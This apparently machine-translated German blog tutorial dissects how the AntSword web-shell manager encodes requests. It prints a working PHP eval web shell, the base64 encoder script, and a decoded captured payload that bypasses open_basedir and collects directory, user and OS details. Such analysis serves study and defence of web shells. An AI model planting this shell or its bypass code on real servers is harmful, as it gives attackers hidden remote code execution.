Technologieaustausch

Schreiben des Ant Sword Encoders – Teil 1

2024-07-12

한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina

beziehen auf

AwesomeEncoder

vonErsteZum Beispiel
Trojanisches Pferd

<?php @eval(base64_decode($_POST['ant']));?>
  • 1

Rufen Sie den Inhalt des Ant-Parameters ab, dekodieren Sie ihn dann mit Base64 und führen Sie ihn aus
Encoder

let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = new Buffer(data['_']).toString('base64');
data[pwd] = new Buffer(`eval(base64_decode($_POST[${randomID}]));die();`).toString('base64');
  • 1
  • 2
  • 3

Generieren Sie eine Zufallszahl „RandomID“, kodieren Sie die Daten mit Base64 und übergeben Sie sie an den Parameter „RandomID“.
Danneval(base64_decode($_POST[${randomID}]));die();Führen Sie eine Base64-Codierung durch

Andererseits
Der Trojaner bekommt es zuerstdata[pwd]Das istantDer Wert wird nach der Base64-Dekodierung erhalten

eval(base64_decode($_POST[${randomID}]));die();
  • 1

Tatsächlich wurde der Trojaner

<?php @eval(eval(base64_decode($_POST[${randomID}]));die(););?>
  • 1

Angenommen, die generierte Zufallszahl ist randomIDA, dann ist das so

<?php @eval(eval(base64_decode($_POST[A]));die(););?>
  • 1

Im zweiten Schritt des Trojanischen Pferdes, demdata[randomID], das ist$_POST[${randomID}], das heißt, hier$_POST[A] Es wurde Base64-codiert und muss daher einmal decodiert werden. Dann stellt sich die Frage, warum es zweimal ausgeführt werden muss. ? ?Dann müssen Sie es anhand des Verkehrspakets überprüfen

Es gibt hier keine Demonstration der Umgebungskonstruktion. Xiaopi, Yijian und Burpsuite reichen aus.
Fügen Sie hier eine Bildbeschreibung ein

Dekodieren Sie die Datenpaketbasis

ant=eval(base64_decode($_POST[_0x36c084a15bf7d]));die();
  • 1
base64_decode($_POST[_0x36c084a15bf7d])

@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.f19ddead";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\|//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "59ee6d"."26ac18";echo @asenc($output);echo "3f4b"."0edf4";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}	";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="	";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="	{$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

Dann wird eseval("eval(base64_decode($_POST[_0x36c084a15bf7d]);die();)")

Schauen Sie sich diesen großen Absatz an und sortieren Sie ihn

@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
    if(!@is_writable($item)){
        continue;
    };
    $tmdir=$item."/.f19ddead";
    @mkdir($tmdir);
    if(!@file_exists($tmdir)){
        continue;
    }
    $tmdir=realpath($tmdir);
    @chdir($tmdir);
    @ini_set("open_basedir", "..");
    $cntarr=@preg_split("/\\|//",$tmdir);
    for($i=0;$i<sizeof($cntarr);$i++){
        @chdir("..");
    };
    @ini_set("open_basedir","/");
    @rmdir($tmdir);break;};
};;
function asenc($out){
    return $out;
};
function asoutput(){
    $output=ob_get_contents();
    ob_end_clean();
    echo "59ee6d"."26ac18";
    echo @asenc($output);
    echo "3f4b"."0edf4";
}
ob_start();
try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
    $R="{$D}	";
    if(substr($D,0,1)!="/"){
        foreach(range("C","Z")as $L)
        if(is_dir("{$L}:"))$R.="{$L}:";
    }else{
        $R.="/";
    }
    $R.="	";
    $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
    $s=($u)?$u["name"]:@get_current_user();$R.=php_uname();
    $R.="	{$s}";
    echo $R;;
}catch(Exception $e){
    echo "ERROR://".$e->getMessage();
};
asoutput();
die();
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54

Natürlich kenne ich nicht viele Funktionen, aber es gibt KI!

@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
    if(!@is_writable($item)){
        continue;
    };
    $tmdir=$item."/.f19ddead";
    @mkdir($tmdir);
    if(!@file_exists($tmdir)){
        continue;
    }
    $tmdir=realpath($tmdir);
    @chdir($tmdir);
    @ini_set("open_basedir", "..");
    $cntarr=@preg_split("/\\|//",$tmdir);
    for($i=0;$i<sizeof($cntarr);$i++){
        @chdir("..");
    };
    @ini_set("open_basedir","/");
    @rmdir($tmdir);break;};
};;
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25

Dieser Absatz ist
Fehleranzeige ausschalten
Legen Sie die Ausführungszeit des Skripts fest
Rufen Sie den Konfigurationswert von open_basedir ab und umgehen Sie ihnopen_basedirAttributbeschränkungen

try{
    $D=dirname($_SERVER["SCRIPT_FILENAME"]);
    if($D=="")
    $D=dirname($_SERVER["PATH_TRANSLATED"]);
    $R="{$D}	";
    if(substr($D,0,1)!="/"){
        foreach(range("C","Z")as $L)
        if(is_dir("{$L}:"))$R.="{$L}:";
    }else{
        $R.="/";
    }
    $R.="	";
    $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
    $s=($u)?$u["name"]:@get_current_user();
    $R.=php_uname();
    $R.="	{$s}";
    echo $R;;
}catch(Exception $e){
    echo "ERROR://".$e->getMessage();
};
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20

Dieser Abschnitt ruft das Verzeichnis ab, in dem sich das aktuelle Skript befindet, und initialisiert die Zeichenfolgenparameter.$R, durchläuft den Laufwerksbuchstaben, CZ sprengt den Laufwerksbuchstaben und verwendet die Funktion posix_getegid, um den Benutzernamen, die Benutzergruppe und andere Inhalte des Benutzers abzurufen, der das Skript ausführt, und erkennt$uOb es existiert. Wenn es nicht existiert, verwenden Sie die Funktion get_current_user(), um es abzurufen. Verwenden Sie php_uname(), um die Betriebssysteminformationen abzurufen.

An dieser Stelle ist es sehr klar, dass dieser PHP-Code am Ende das aktuelle Ausführungsverzeichnis, den Laufwerksbuchstaben, den Benutzer und die Betriebssysteminformationen erhält
Sammelausgabe in der Funktion asoutput() durchführen,

Senden Sie das obige Anforderungspaket an das Repeater-Modul und stellen Sie fest, dass die zurückgegebenen Ergebnisse dieselben sind

Dies kann jedoch immer noch nicht erklären, warum es zwei Auswertungen gibt. Tatsächlich gehört der von ant übergebene Inhalt zur Zeichenfolge. Nur wenn eine Auswertungsebene außerhalb platziert wird, wird die Auswertung im Inneren als Funktion ausgeführt.

<?php  
eval("eval('echo 1+1;');die();")
?>
  • 1
  • 2
  • 3

Verwandeln

<?php  
eval('eval(base64_decode("ZWNobyAiYWFhIjs="));die();')
?>
  • 1
  • 2
  • 3

Fügen Sie hier eine Bildbeschreibung ein
Das endgültige Ausgabeergebnis ist 2, was bedeutet, dass die äußere Auswertung die Zeichenfolge zur Ausführung in eine Funktion umwandelt und die innere Auswertungsebene den Inhalt ausführt

In diesem Beispiel wird die Auswertung des Trojaners verwendet, um die Auswertungsfunktion im Anforderungspaket zu aktivieren und so den Effekt der Befehlsausführung zu erzielen.